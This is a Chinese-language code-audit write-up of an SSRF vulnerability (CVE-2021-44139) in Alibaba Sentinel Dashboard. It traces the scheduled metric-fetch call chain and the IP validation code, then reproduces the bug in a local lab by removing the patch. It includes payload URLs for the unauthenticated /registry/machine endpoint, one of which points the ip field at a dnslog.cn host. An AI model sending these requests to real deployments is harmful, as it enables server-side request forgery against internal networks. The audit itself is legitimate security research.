Sentinel Dashboard SSRF(CVE-2021-44139)代码审计

环境搭建

https://github.com/alibaba/Sentinel/releases

版本:1.8.3

Java:1.8

启动DashboardApplication.java

image-20240716100735230

image-20240716100920402

访问本地IP+端口http://172.16.80.28:8080/#/login

image-20240716100909953

漏洞分析

根据issue:https://github.com/alibaba/Sentinel/issues/2451

漏洞点在com.alibaba.csp.sentinel.dashboard.metric.MetricFetcher#fetchOnce

根据issue的这段话大致了解了由于缺少对ip字段的校验,可以通过符号#截断URL内容

通过查看代码可以发现,该方法中会遍历注册AppInfo中每台机器MachineInfo的注册信息,构造对应的URL进行采集客户端限流熔断等数据,但其ip字段无任何校验,通过井号’#’等字符就可以截断后续的URL内容(RFC),进而控制管控平台sentinel-dashboard发起任意GET请求。

接下来进行代码分析,找到对应代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
/**
* fetch metric between [startTime, endTime], both side inclusive
*/
private void fetchOnce(String app, long startTime, long endTime, int maxWaitSeconds) {
if (maxWaitSeconds <= 0) {
throw new IllegalArgumentException("maxWaitSeconds must > 0, but " + maxWaitSeconds);
}
AppInfo appInfo = appManagement.getDetailApp(app);
// auto remove for app
if (appInfo.isDead()) {
logger.info("Dead app removed: {}", app);
appManagement.removeApp(app);
return;
}
Set<MachineInfo> machines = appInfo.getMachines();
logger.debug("enter fetchOnce(" + app + "), machines.size()=" + machines.size()
+ ", time intervalMs [" + startTime + ", " + endTime + "]");
if (machines.isEmpty()) {
return;
}
final String msg = "fetch";
AtomicLong unhealthy = new AtomicLong();
final AtomicLong success = new AtomicLong();
final AtomicLong fail = new AtomicLong();

long start = System.currentTimeMillis();
/** app_resource_timeSecond -> metric */
final Map<String, MetricEntity> metricMap = new ConcurrentHashMap<>(16);
final CountDownLatch latch = new CountDownLatch(machines.size());
for (final MachineInfo machine : machines) {
// auto remove
if (machine.isDead()) {
latch.countDown();
appManagement.getDetailApp(app).removeMachine(machine.getIp(), machine.getPort());
logger.info("Dead machine removed: {}:{} of {}", machine.getIp(), machine.getPort(), app);
continue;
}
if (!machine.isHealthy()) {
latch.countDown();
unhealthy.incrementAndGet();
continue;
}
final String url = "http://" + machine.getIp() + ":" + machine.getPort() + "/" + METRIC_URL_PATH
+ "?startTime=" + startTime + "&endTime=" + endTime + "&refetch=" + false;
final HttpGet httpGet = new HttpGet(url);
httpGet.setHeader(HTTP.CONN_DIRECTIVE, HTTP.CONN_CLOSE);
httpclient.execute(httpGet, new FutureCallback<HttpResponse>() {
@Override
public void completed(final HttpResponse response) {
try {
handleResponse(response, machine, metricMap);
success.incrementAndGet();
} catch (Exception e) {
logger.error(msg + " metric " + url + " error:", e);
} finally {
latch.countDown();
}
}

@Override
public void failed(final Exception ex) {
latch.countDown();
fail.incrementAndGet();
httpGet.abort();
if (ex instanceof SocketTimeoutException) {
logger.error("Failed to fetch metric from <{}>: socket timeout", url);
} else if (ex instanceof ConnectException) {
logger.error("Failed to fetch metric from <{}> (ConnectionException: {})", url, ex.getMessage());
} else {
logger.error(msg + " metric " + url + " error", ex);
}
}

@Override
public void cancelled() {
latch.countDown();
fail.incrementAndGet();
httpGet.abort();
}
});
}
try {
latch.await(maxWaitSeconds, TimeUnit.SECONDS);
} catch (Exception e) {
logger.info(msg + " metric, wait http client error:", e);
}
//long cost = System.currentTimeMillis() - start;
//logger.info("finished " + msg + " metric for " + app + ", time intervalMs [" + startTime + ", " + endTime
// + "], total machines=" + machines.size() + ", dead=" + dead + ", fetch success="
// + success + ", fetch fail=" + fail + ", time cost=" + cost + " ms");
writeMetric(metricMap);
}

通过观察代码一眼就能发现可能存在SSRF漏洞的代码段

image-20240716102106095

这个请求的url中的ip和port都和machine对象有关

1
2
final String url = "http://" + machine.getIp() + ":" + machine.getPort() + "/" + METRIC_URL_PATH
+ "?startTime=" + startTime + "&endTime=" + endTime + "&refetch=" + false;

其中MachineInfo machine在machines循环里

image-20240716102408847

再继续看machines怎么来的,machines是一个Set集合,从appInfo#getMachines获取

image-20240716102453189

继续追appInfo的代码,是appManagement#getDetailApp方法中获得的

image-20240716102653795

查看getDetailApp方法

image-20240716102843033

继续查看,追踪到这个MachineDiscovery接口发现这个是可以添加addMachine还可以removeMachine这些操作的image-20240716103533272

回到最初的代码中,发现app参数是fetchOnce直接传参到getDetailApp中的

image-20240716104130481

看哪些调用了fetchOnce方法,同类中的doFetchAppMetric方法

image-20240716104350497

调用doFetchAppMetric的方法fetchAllApp

image-20240716104442017

fetchAllApp被start方法调用,通过代码发现这个start里面是个定时器10s执行一次

image-20240716104528677

start又被MetricFetcher无参构造方法直接调用

image-20240716104719534

而该类被@Component注解标记,会在Spring容器启动时自动创建MetricFetcher类的实例调用无参构造方法,作为Bean进行管理。

image-20240716105138648

在同目录下创建一个对象进行测试,启动Spring容器

image-20240716105346420

image-20240716105412688

最终的调用链:

无参构造方法 => start => fetchAllApp => doFetchAppMetric => fetchOnce

也就是说在容器启动时就会执行这个10s一次的定时任务

如何触发定时任务:

想办法注册Machine,在之前找到了addMachine的接口

image-20240716105934968

image-20240716105952954

查看被调用情况

image-20240716110009970

直接被Controller层调用,而且ip是String类型,port是Integer类型直接传参调用,

image-20240716110107975

image-20240716110137918

在过程中一处对ip进行的判断为是否为空,长度是否大于128,此条件基本可以忽略

image-20240716110333539

另一处判断主要看ipv4,我们需要绕过的就是这个判断

image-20240716111004518

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public static byte[] textToNumericFormatV4(String var0) {
byte[] var1 = new byte[4];
long var2 = 0L;
int var4 = 0;
boolean var5 = true;
int var6 = var0.length();
if (var6 != 0 && var6 <= 15) {
for(int var7 = 0; var7 < var6; ++var7) {
char var8 = var0.charAt(var7);
if (var8 == '.') {
if (var5 || var2 < 0L || var2 > 255L || var4 == 3) {
return null;
}

var1[var4++] = (byte)((int)(var2 & 255L));
var2 = 0L;
var5 = true;
} else {
int var9 = Character.digit(var8, 10);
if (var9 < 0) {
return null;
}

var2 *= 10L;
var2 += (long)var9;
var5 = false;
}
}

if (!var5 && var2 >= 0L && var2 < 1L << (4 - var4) * 8) {
switch (var4) {
case 0:
var1[0] = (byte)((int)(var2 >> 24 & 255L));
case 1:
var1[1] = (byte)((int)(var2 >> 16 & 255L));
case 2:
var1[2] = (byte)((int)(var2 >> 8 & 255L));
case 3:
var1[3] = (byte)((int)(var2 >> 0 & 255L));
default:
return var1;
}
} else {
return null;
}
} else {
return null;
}
}

进行DEBUG分析,先尝试域名

image-20240716111544373

这个域名太长了>15,直接跳出if判断了

image-20240716111705079

dnslog和ceye都不行只能本地改host进行测试了

image-20240716112144788

打入payload

1
http://172.16.80.28:8080/registry/machine?app=1&appType=1&version=1&v=1&hostname=1&ip=www.hisi.com&port=80

可以看到结果并不行,主要逻辑是通过字符串索引遍历我们的输入www.hisi.com的字符串,并且会将字符转为数字当<0时会直接return null

image-20240716112756492

那测试下127.0.0.1#,这种也无法传参进去,因为判断到#结果也不是证书直接return null

1
http://172.16.80.28:8080/registry/machine?app=1&appType=1&version=1&v=1&hostname=1&ip=127.0.0.1#&port=80

原来发现是版本问题 1.8.3做了这一条的修复,就保证ip的输入禁止输入除了小数点的字符了

image-20240716135522352

当缺少了这几行代码,直接会绕过IP限制,可以打入任意域名或IP#截断进行攻击

同时还有个问题,为什么这个接口是未授权,全局搜索接口找到了原因

image-20240716140537872

漏洞复现

注释掉补丁的修复代码

image-20240716135815740

重新打入payload

1
http://172.16.80.28:8080/registry/machine?app=1&appType=1&version=1&v=1&hostname=1&ip=4znol4.dnslog.cn&port=80

image-20240716140106963

image-20240716135959935

__END__